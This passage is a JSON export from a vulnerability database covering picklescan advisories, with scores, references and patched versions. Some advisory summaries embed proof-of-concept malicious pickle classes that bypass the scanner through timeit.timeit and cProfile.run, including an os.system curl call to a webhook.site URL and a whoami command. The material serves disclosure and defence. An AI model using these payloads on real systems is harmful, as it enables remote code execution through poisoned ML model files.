                    "url": "https://github.com/advisories/GHSA-84r2-jw7c-4r5q"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-84r2-jw7c-4r5q",
                    "reference_id": "GHSA-84r2-jw7c-4r5q",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "HIGH",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        },
                        {
                            "value": "8.9",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-84r2-jw7c-4r5q"
                }
            ],
            "fixed_packages": [
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/36380?format=api",
                    "purl": "pkg:pypi/picklescan@0.0.33",
                    "is_vulnerable": true,
                    "affected_by_vulnerabilities": [
                        {
                            "vulnerability": "VCID-8fwp-rcz9-byam"
                        },
                        {
                            "vulnerability": "VCID-8q15-7ur4-kkde"
                        },
                        {
                            "vulnerability": "VCID-ay9k-cbe6-wye5"
                        },
                        {
                            "vulnerability": "VCID-c5rh-vbqs-q7bp"
                        },
                        {
                            "vulnerability": "VCID-cq25-8mmm-3yfg"
                        },
                        {
                            "vulnerability": "VCID-czzc-g8zx-1kbq"
                        },
                        {
                            "vulnerability": "VCID-fkcx-bkmd-4bbe"
                        },
                        {
                            "vulnerability": "VCID-k92s-yfxv-hqhr"
                        },
                        {
                            "vulnerability": "VCID-pfmh-d33z-9ka8"
                        }
                    ],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:pypi/picklescan@0.0.33"
                }
            ],
            "aliases": [
                "GHSA-84r2-jw7c-4r5q"
            ],
            "risk_score": 4.0,
            "exploitability": "0.5",
            "weighted_severity": "8.0",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-q3ju-z2ut-mkgx"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/212454?format=api",
            "vulnerability_id": "VCID-re4f-xefn-x7fb",
            "summary": "Picklescan Bypasses Unsafe Globals Check using pty.spawn",
            "references": [
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "8.8",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/commit/70c1c6c31beb6baaf52c8db1b6c3c0e84a6f9dab",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "8.8",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/commit/70c1c6c31beb6baaf52c8db1b6c3c0e84a6f9dab"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/pull/53",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "8.8",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/pull/53"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/releases/tag/v0.0.33",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "8.8",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/releases/tag/v0.0.33"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-hgrh-qx5j-jfwx",
                    "reference_id": "GHSA-hgrh-qx5j-jfwx",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "HIGH",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/advisories/GHSA-hgrh-qx5j-jfwx"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-hgrh-qx5j-jfwx",
                    "reference_id": "GHSA-hgrh-qx5j-jfwx",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "8.8",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-hgrh-qx5j-jfwx"
                }
            ],
            "fixed_packages": [
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/36380?format=api",
                    "purl": "pkg:pypi/picklescan@0.0.33",
                    "is_vulnerable": true,
                    "affected_by_vulnerabilities": [
                        {
                            "vulnerability": "VCID-8fwp-rcz9-byam"
                        },
                        {
                            "vulnerability": "VCID-8q15-7ur4-kkde"
                        },
                        {
                            "vulnerability": "VCID-ay9k-cbe6-wye5"
                        },
                        {
                            "vulnerability": "VCID-c5rh-vbqs-q7bp"
                        },
                        {
                            "vulnerability": "VCID-cq25-8mmm-3yfg"
                        },
                        {
                            "vulnerability": "VCID-czzc-g8zx-1kbq"
                        },
                        {
                            "vulnerability": "VCID-fkcx-bkmd-4bbe"
                        },
                        {
                            "vulnerability": "VCID-k92s-yfxv-hqhr"
                        },
                        {
                            "vulnerability": "VCID-pfmh-d33z-9ka8"
                        }
                    ],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:pypi/picklescan@0.0.33"
                }
            ],
            "aliases": [
                "GHSA-hgrh-qx5j-jfwx"
            ],
            "risk_score": 4.0,
            "exploitability": "0.5",
            "weighted_severity": "8.0",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-re4f-xefn-x7fb"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/360496?format=api",
            "vulnerability_id": "VCID-rqap-hdeb-1ffb",
            "summary": "Picklescan missing detection when calling built-in python library function timeit.timeit()\n### Summary\nUsing timeit.timeit() function, which is a built-in python library function to execute remote pickle file.\n\n### Details\nPickle’s deserialization process is known to allow execution of function via reduce method. While Picklescan is meant to detect such exploits, this attack evades detection by calling built-in python library function like **timeit.timeit()**. And since timeit library wasn't inside unsafe globals blacklist, it may not raise red flag in the security scan.\n\nThe attack payload executes in the following steps:\n\nFirst, the attacker craft the payload by calling to **timeit.timeit()** function from timeit library in __reduce__ method\nThen, inside reduce method, the attacker import dangerous libarary like os and calling **os.system()** to run OS commands, for example: curl command. And then the attacker send this malicious pickle file to the victim.\nThen when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.\n\n### PoC\n1. The attacker crafted a malicious pickle file using built-in python library function timeit.timeit()\n```\nimport pickle\nimport timeit\nclass Payload(object):\n    def __reduce__(self):\n        return timeit.timeit, ('','import os; os.system(\"curl https://webhook.site/95f3e1c3-ee37-4a5a-8544-ab4ce93475f6\")')\ndef create_payload():\n  with open('payload.pickle', 'wb') as f:\n    pickle.dump(Payload(), f)\ncreate_payload()\n```\nThen the attacker will send this pickle file to the victim computer and maybe the victim load this pickle using pickle.load()\n2. The victim will use picklescan library to check out if the received pickle file is malicious or not\n```\npicklescan -p payload.pickle\n----------- SCAN SUMMARY -----------\nScanned files: 1\nInfected files: 0\nDangerous globals: 0\n```\n3. Beliving that this pickle file is safe using modelscan, the victim then load this pickle file which will trigger timeit.timeit command to execute OS commands (in my example, it was curl command)\n```\nimport pickle\ndef load_payload():\n    with open('payload.pickle', 'rb') as f:\n      pickle.load(f)\nload_payload()\n```\n### Impact\nSeverity: High\n\nWho is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.\nWhat is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.\nSupply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.\n### Recommended Solution\nI suggest adding timeit library to the unsafe globals blacklist.",
            "references": [
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "5.3",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N"
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/releases/tag/v0.0.25",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "5.3",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N"
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/releases/tag/v0.0.25"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-v7x6-rv5q-mhwc",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        },
                        {
                            "value": "5.3",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N"
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-v7x6-rv5q-mhwc"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-v7x6-rv5q-mhwc",
                    "reference_id": "GHSA-v7x6-rv5q-mhwc",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/advisories/GHSA-v7x6-rv5q-mhwc"
                }
            ],
            "fixed_packages": [
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/87471?format=api",
                    "purl": "pkg:pypi/picklescan@0.0.25",
                    "is_vulnerable": true,
                    "affected_by_vulnerabilities": [
                        {
                            "vulnerability": "VCID-1cft-ke16-8kac"
                        },
                        {
                            "vulnerability": "VCID-357d-3wwy-aubk"
                        },
                        {
                            "vulnerability": "VCID-38pp-fqgk-bygf"
                        },
                        {
                            "vulnerability": "VCID-3ykn-199q-u3hf"
                        },
                        {
                            "vulnerability": "VCID-46rw-3mfv-67ad"
                        },
                        {
                            "vulnerability": "VCID-4nda-nuz6-gqgm"
                        },
                        {
                            "vulnerability": "VCID-555e-6p5m-xbbc"
                        },
                        {
                            "vulnerability": "VCID-6723-ghp7-yqd1"
                        },
                        {
                            "vulnerability": "VCID-6pqf-4qcr-ckac"
                        },
                        {
                            "vulnerability": "VCID-6smr-kf6r-53gc"
                        },
                        {
                            "vulnerability": "VCID-7dgj-c6cm-v3bt"
                        },
                        {
                            "vulnerability": "VCID-7jv5-uxzs-cucb"
                        },
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                            "vulnerability": "VCID-83zm-7pnx-gkag"
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                            "vulnerability": "VCID-8bj4-tmz9-gyau"
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                            "vulnerability": "VCID-8fwp-rcz9-byam"
                        },
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                            "vulnerability": "VCID-8q15-7ur4-kkde"
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                        {
                            "vulnerability": "VCID-a31m-q2ca-w7em"
                        },
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                            "vulnerability": "VCID-av36-fvk2-23be"
                        },
                        {
                            "vulnerability": "VCID-ay9k-cbe6-wye5"
                        },
                        {
                            "vulnerability": "VCID-b4zf-mwfc-53bm"
                        },
                        {
                            "vulnerability": "VCID-b8nm-k5xu-yfc8"
                        },
                        {
                            "vulnerability": "VCID-bepy-gm8w-83e5"
                        },
                        {
                            "vulnerability": "VCID-brvs-drts-rbay"
                        },
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                            "vulnerability": "VCID-c3as-vdkf-4fem"
                        },
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                            "vulnerability": "VCID-c5rh-vbqs-q7bp"
                        },
                        {
                            "vulnerability": "VCID-cj2u-dmaj-wbd4"
                        },
                        {
                            "vulnerability": "VCID-cq25-8mmm-3yfg"
                        },
                        {
                            "vulnerability": "VCID-cupp-7ca3-wfa6"
                        },
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                            "vulnerability": "VCID-czzc-g8zx-1kbq"
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                            "vulnerability": "VCID-d1k5-6npz-2kcg"
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                            "vulnerability": "VCID-dsy5-2z6e-jqds"
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                            "vulnerability": "VCID-e95k-rym7-a7bk"
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                        {
                            "vulnerability": "VCID-fbng-xtyv-zqdf"
                        },
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                            "vulnerability": "VCID-fkcx-bkmd-4bbe"
                        },
                        {
                            "vulnerability": "VCID-fsjg-pn1f-fqd6"
                        },
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                            "vulnerability": "VCID-fvhz-kyju-qkg5"
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                            "vulnerability": "VCID-fxc2-cr37-fuhg"
                        },
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                            "vulnerability": "VCID-gbvh-fs1r-xqcw"
                        },
                        {
                            "vulnerability": "VCID-hg5h-54nq-bber"
                        },
                        {
                            "vulnerability": "VCID-hm3p-7t8t-bfb7"
                        },
                        {
                            "vulnerability": "VCID-jsfv-qjzd-87ck"
                        },
                        {
                            "vulnerability": "VCID-judk-maax-muc7"
                        },
                        {
                            "vulnerability": "VCID-k92s-yfxv-hqhr"
                        },
                        {
                            "vulnerability": "VCID-kne4-tcp8-m3c3"
                        },
                        {
                            "vulnerability": "VCID-n3yg-3gcp-nyc1"
                        },
                        {
                            "vulnerability": "VCID-p42h-2wne-j3ds"
                        },
                        {
                            "vulnerability": "VCID-pfmh-d33z-9ka8"
                        },
                        {
                            "vulnerability": "VCID-q3ju-z2ut-mkgx"
                        },
                        {
                            "vulnerability": "VCID-re4f-xefn-x7fb"
                        },
                        {
                            "vulnerability": "VCID-ssnp-77kf-qudn"
                        },
                        {
                            "vulnerability": "VCID-v5yc-uwn3-akbc"
                        },
                        {
                            "vulnerability": "VCID-vgyv-ps7z-x7gc"
                        },
                        {
                            "vulnerability": "VCID-zh4p-1c3k-j3g8"
                        },
                        {
                            "vulnerability": "VCID-zhdd-ck3x-pbh7"
                        },
                        {
                            "vulnerability": "VCID-zhzt-rnfn-73ab"
                        },
                        {
                            "vulnerability": "VCID-zxc5-cgwk-qbcn"
                        }
                    ],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:pypi/picklescan@0.0.25"
                }
            ],
            "aliases": [
                "GHSA-v7x6-rv5q-mhwc"
            ],
            "risk_score": 3.1,
            "exploitability": "0.5",
            "weighted_severity": "6.2",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-rqap-hdeb-1ffb"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/212451?format=api",
            "vulnerability_id": "VCID-ssnp-77kf-qudn",
            "summary": "Picklescan does not block ctypes",
            "references": [
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "8.9",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/commit/70c1c6c31beb6baaf52c8db1b6c3c0e84a6f9dab",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "8.9",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/commit/70c1c6c31beb6baaf52c8db1b6c3c0e84a6f9dab"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/pull/53",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "8.9",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/pull/53"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/releases/tag/v0.0.33",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "8.9",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/releases/tag/v0.0.33"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-4675-36f9-wf6r",
                    "reference_id": "GHSA-4675-36f9-wf6r",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "HIGH",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/advisories/GHSA-4675-36f9-wf6r"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-4675-36f9-wf6r",
                    "reference_id": "GHSA-4675-36f9-wf6r",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "HIGH",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        },
                        {
                            "value": "8.9",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-4675-36f9-wf6r"
                }
            ],
            "fixed_packages": [
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/36380?format=api",
                    "purl": "pkg:pypi/picklescan@0.0.33",
                    "is_vulnerable": true,
                    "affected_by_vulnerabilities": [
                        {
                            "vulnerability": "VCID-8fwp-rcz9-byam"
                        },
                        {
                            "vulnerability": "VCID-8q15-7ur4-kkde"
                        },
                        {
                            "vulnerability": "VCID-ay9k-cbe6-wye5"
                        },
                        {
                            "vulnerability": "VCID-c5rh-vbqs-q7bp"
                        },
                        {
                            "vulnerability": "VCID-cq25-8mmm-3yfg"
                        },
                        {
                            "vulnerability": "VCID-czzc-g8zx-1kbq"
                        },
                        {
                            "vulnerability": "VCID-fkcx-bkmd-4bbe"
                        },
                        {
                            "vulnerability": "VCID-k92s-yfxv-hqhr"
                        },
                        {
                            "vulnerability": "VCID-pfmh-d33z-9ka8"
                        }
                    ],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:pypi/picklescan@0.0.33"
                }
            ],
            "aliases": [
                "GHSA-4675-36f9-wf6r"
            ],
            "risk_score": 4.0,
            "exploitability": "0.5",
            "weighted_severity": "8.0",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-ssnp-77kf-qudn"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/360692?format=api",
            "vulnerability_id": "VCID-uwy3-anph-f7gv",
            "summary": "Duplicate Advisory: Remote Code Execution via Malicious Pickle File Bypassing Static Analysis\n## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-655q-fx9r-782v. This link is maintained to preserve external references.\n\n## Original Description\npicklescan before 0.0.21 does not treat 'pip' as an unsafe global. An attacker could craft a malicious model that uses Pickle to pull in a malicious PyPI package (hosted, for example, on pypi.org or GitHub) via `pip.main()`. Because pip is not a restricted global, the model, when scanned with picklescan, would pass security checks and appear to be safe, when it could instead prove to be problematic.",
            "references": [
                {
                    "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1716",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "5.3",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1716"
                },
                {
                    "reference_url": "https://sites.google.com/sonatype.com/vulnerabilities/cve-2025-1716",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "5.3",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://sites.google.com/sonatype.com/vulnerabilities/cve-2025-1716"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-655q-fx9r-782v",
                    "reference_id": "GHSA-655q-fx9r-782v",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "5.3",
                            "scoring_system": "cvssv4",
                            "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-655q-fx9r-782v"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-vr75-hjh9-7fr6",
                    "reference_id": "GHSA-vr75-hjh9-7fr6",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/advisories/GHSA-vr75-hjh9-7fr6"
                }
            ],
            "fixed_packages": [],
            "aliases": [
                "GHSA-vr75-hjh9-7fr6"
            ],
            "risk_score": 3.1,
            "exploitability": "0.5",
            "weighted_severity": "6.2",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-uwy3-anph-f7gv"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/360660?format=api",
            "vulnerability_id": "VCID-v5yc-uwn3-akbc",
            "summary": "Picklescan is missing detection when calling built-in python cProfile.run\n### Summary\n\nUsing cProfile.run function, which is a built-in python library function to execute remote pickle file.\n\n### Details\n\nThe attack payload executes in the following steps:\n\nFirst, the attacker craft the payload by calling to cProfile.run function in reduce method\nThen when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.\n\n### PoC\n\n```\nimport cProfile\n\nclass EvilCProfileRun:\n    def __reduce__(self):\n        # cProfile.run(statement) -> Profile().run(statement) -> exec(statement)\n        return cProfile.run, (\"__import__('os').system('whoami')\",)\n```\n\n### Impact\n\nWho is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.\nWhat is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.\nSupply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.\n\n### Corresponding\n\nhttps://github.com/FredericDT\nhttps://github.com/Qhaoduoyu",
            "references": [
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/commit/1931c2d04eaca8d20597705ff39cab78ba364e4b",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/commit/1931c2d04eaca8d20597705ff39cab78ba364e4b"
                },
                {
                    "reference_url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-49gj-c84q-6qm9",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-49gj-c84q-6qm9"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-49gj-c84q-6qm9",
                    "reference_id": "GHSA-49gj-c84q-6qm9",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/advisories/GHSA-49gj-c84q-6qm9"
                }
            ],
            "fixed_packages": [
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/89082?format=api",
                    "purl": "pkg:pypi/picklescan@0.0.30",
                    "is_vulnerable": true,
                    "affected_by_vulnerabilities": [
                        {
                            "vulnerability": "VCID-38pp-fqgk-bygf"
                        },
                        {
                            "vulnerability": "VCID-46rw-3mfv-67ad"
                        },
                        {
                            "vulnerability": "VCID-8fwp-rcz9-byam"
                        },
                        {
                            "vulnerability": "VCID-8q15-7ur4-kkde"
                        },
                        {
                            "vulnerability": "VCID-a31m-q2ca-w7em"
                        },
                        {
                            "vulnerability": "VCID-ay9k-cbe6-wye5"
                        },
                        {
                            "vulnerability": "VCID-c5rh-vbqs-q7bp"
                        },
                        {
                            "vulnerability": "VCID-cq25-8mmm-3yfg"
                        },
                        {
                            "vulnerability": "VCID-czzc-g8zx-1kbq"
                        },
                        {
                            "vulnerability": "VCID-e95k-rym7-a7bk"
                        },
                        {
                            "vulnerability": "VCID-fkcx-bkmd-4bbe"
                        },
                        {
                            "vulnerability": "VCID-fvhz-kyju-qkg5"
                        },
                        {
                            "vulnerability": "VCID-fxc2-cr37-fuhg"
                        },
                        {
                            "vulnerability": "VCID-gbvh-fs1r-xqcw"
                        },
                        {
                            "vulnerability": "VCID-hg5h-54nq-bber"
                        },
                        {
                            "vulnerability": "VCID-jsfv-qjzd-87ck"
                        },
                        {
                            "vulnerability": "VCID-judk-maax-muc7"
                        },
                        {
                            "vulnerability": "VCID-k92s-yfxv-hqhr"
                        },
                        {
                            "vulnerability": "VCID-p42h-2wne-j3ds"
                        },
                        {
                            "vulnerability": "VCID-pfmh-d33z-9ka8"
                        },
                        {
                            "vulnerability": "VCID-q3ju-z2ut-mkgx"
                        },
                        {
                            "vulnerability": "VCID-re4f-xefn-x7fb"
                        },
                        {
                            "vulnerability": "VCID-ssnp-77kf-qudn"
                        },
                        {
                            "vulnerability": "VCID-vgyv-ps7z-x7gc"
                        },
                        {
                            "vulnerability": "VCID-zh4p-1c3k-j3g8"
                        },
                        {
                            "vulnerability": "VCID-zhzt-rnfn-73ab"
                        }
                    ],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:pypi/picklescan@0.0.30"
                }
            ],
            "aliases": [
                "GHSA-49gj-c84q-6qm9"
            ],
            "risk_score": 3.1,
            "exploitability": "0.5",
            "weighted_severity": "6.2",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-v5yc-uwn3-akbc"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/112668?format=api",
            "vulnerability_id": "VCID-vgyv-ps7z-x7gc",
